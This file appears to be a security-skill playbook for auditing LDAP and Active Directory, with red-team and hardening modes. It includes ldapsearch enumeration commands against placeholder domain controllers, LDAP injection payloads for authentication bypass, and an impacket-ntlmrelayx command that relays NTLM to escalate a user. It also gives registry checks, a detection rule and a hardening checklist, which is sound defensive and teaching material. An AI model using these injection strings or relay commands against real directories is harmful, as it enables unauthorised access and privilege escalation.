<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: auditing-ldap-security
description: >-
  Audit LDAP and Active Directory configurations for insecure binds, channel
  binding bypass, LDAP injection, anonymous access, null base DN queries,
  and signing/encryption enforcement.
domain: cybersecurity
subdomain: identity-access-management
tags:
  - ldap
  - active-directory
  - ldap-injection
  - channel-binding
  - ldap-signing
  - reconnaissance
  - impacket
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1087.002"]
---

# Auditing LDAP Security

## Overview

LDAP is the backbone of Active Directory authentication and directory queries.
Insecure configurations enable credential interception via cleartext binds (port 389
without STARTTLS), unauthorized enumeration through anonymous/null binds, LDAP
injection in web applications, and relay attacks when LDAP signing and channel
binding are not enforced. This skill audits LDAP for these vulnerabilities.

Mode: `[MODE: RED]` for LDAP exploitation; `[MODE: BLUE]` for LDAP hardening.

MITRE ATT&CK: T1087.002 (Account Discovery: Domain Account), T1018 (Remote System Discovery)

## Prerequisites

- `ldapsearch` (OpenLDAP client tools)
- `impacket` for NTLM relay testing
- Python 3.10+ with `ldap3`
- Wireshark/tcpdump for traffic analysis
- Access to Domain Controller network segment

## Key Concepts

### LDAP Attack Surface

| Attack | Description | Severity |
|--------|-------------|----------|
| Cleartext LDAP bind | Credentials sent unencrypted on port 389 | Critical |
| Anonymous bind | Enumerate users/groups without authentication | High |
| Null base DN query | Discover naming contexts and domain info | Medium |
| LDAP injection | Manipulate LDAP queries via user input | Critical |
| NTLM relay to LDAP | Relay captured NTLM auth to LDAP | Critical |
| Missing signing | LDAP traffic can be tampered in transit | High |
| Missing channel binding | LDAPS vulnerable to relay | High |

### LDAP Enumeration

```bash
# Anonymous bind test
ldapsearch -x -H ldap://DC_IP -b "" -s base namingContexts

# Enumerate users (authenticated)
ldapsearch -x -H ldap://DC_IP -D "user@target.com" -w "password" \
  -b "DC=target,DC=com" "(objectClass=user)" sAMAccountName userPrincipalName

# Find Domain Admins
ldapsearch -x -H ldap://DC_IP -D "user@target.com" -w "password" \
  -b "DC=target,DC=com" "(&(objectClass=group)(cn=Domain Admins))" member

# Enumerate SPNs (Kerberoasting targets)
ldapsearch -x -H ldap://DC_IP -D "user@target.com" -w "password" \
  -b "DC=target,DC=com" "(servicePrincipalName=*)" sAMAccountName servicePrincipalName

# Check password policy
ldapsearch -x -H ldap://DC_IP -D "user@target.com" -w "password" \
  -b "DC=target,DC=com" "(objectClass=domainDNS)" pwdProperties minPwdLength lockoutThreshold
```

### LDAP Injection Patterns

```
# Authentication bypass
(&(uid=*)(userPassword=*))   → (&(uid=admin)(&))(userPassword=anything))

# Common injection payloads
*                            # Wildcard — match all
admin)(|(password=*          # Filter break
)(cn=*))(|(cn=*              # Always-true condition
admin)(%26)                  # URL-encoded AND
```

### NTLM Relay to LDAP

```bash
# Check if LDAP signing is enforced
# If not enforced, NTLM relay to LDAP is possible
crackmapexec ldap DC_IP -u '' -p '' -M ldap-checker

# Relay to LDAP (requires LDAP signing disabled)
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user attacker
```

## Workflow

### Step 1: Test LDAP Configuration

```bash
# Test cleartext bind (should fail if LDAPS enforced)
ldapsearch -x -H ldap://DC_IP -D "user@target.com" -w "password" -b "DC=target,DC=com" "(cn=test)"

# Test LDAPS
ldapsearch -x -H ldaps://DC_IP -D "user@target.com" -w "password" -b "DC=target,DC=com" "(cn=test)"

# Test anonymous bind
ldapsearch -x -H ldap://DC_IP -b "DC=target,DC=com" "(objectClass=user)" sAMAccountName 2>&1
```

### Step 2: Run Security Audit

```bash
node scripts/agent.js --target DC_IP --domain target.com --output /tmp/ldap_findings.json
```

### Step 3: Check Signing and Channel Binding

```bash
# Registry check on DC
# HKLM\System\CurrentControlSet\Services\NTDS\Parameters
# "LDAPServerIntegrity" = 2 (Required)
# "LdapEnforceChannelBinding" = 2 (Required)

node scripts/agent.js --target DC_IP --check-signing
```

## Detection

```yaml
title: Auditing Ldap Security Detection
id: 55e751a1-9800-4327-b597-acd923d6c379
status: experimental
description: Detects suspicious activity related to auditing ldap security techniques in identity access management context
logsource:
  category: authentication
  product: windows
detection:
  selection:
    EventType: authentication
    Status: failure
  condition: selection
level: medium
tags:
  - attack.t1087.002
  - attack.credential_access
falsepositives:
  - Automated password rotation by privileged access management tools
```

## Verification

- [ ] LDAP signing required on all Domain Controllers (LDAPServerIntegrity=2)
- [ ] LDAP channel binding enforced (LdapEnforceChannelBinding=2)
- [ ] Cleartext LDAP (port 389) restricted or disabled for client binds
- [ ] Anonymous and null binds disabled
- [ ] LDAPS certificate valid and not self-signed
- [ ] Application LDAP queries use parameterized filters (no injection)
- [ ] Network segmentation prevents LDAP access from untrusted segments
- [ ] Audit logging enabled for LDAP queries (Event ID 2889 for unsigned binds)

## References

- [Microsoft — LDAP Signing Requirements](https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/enable-ldap-signing-in-windows-server)
- [MITRE ATT&CK T1087.002](https://attack.mitre.org/techniques/T1087/002/)
- [OWASP — LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection)
- [Impacket — ntlmrelayx](https://github.com/fortra/impacket)
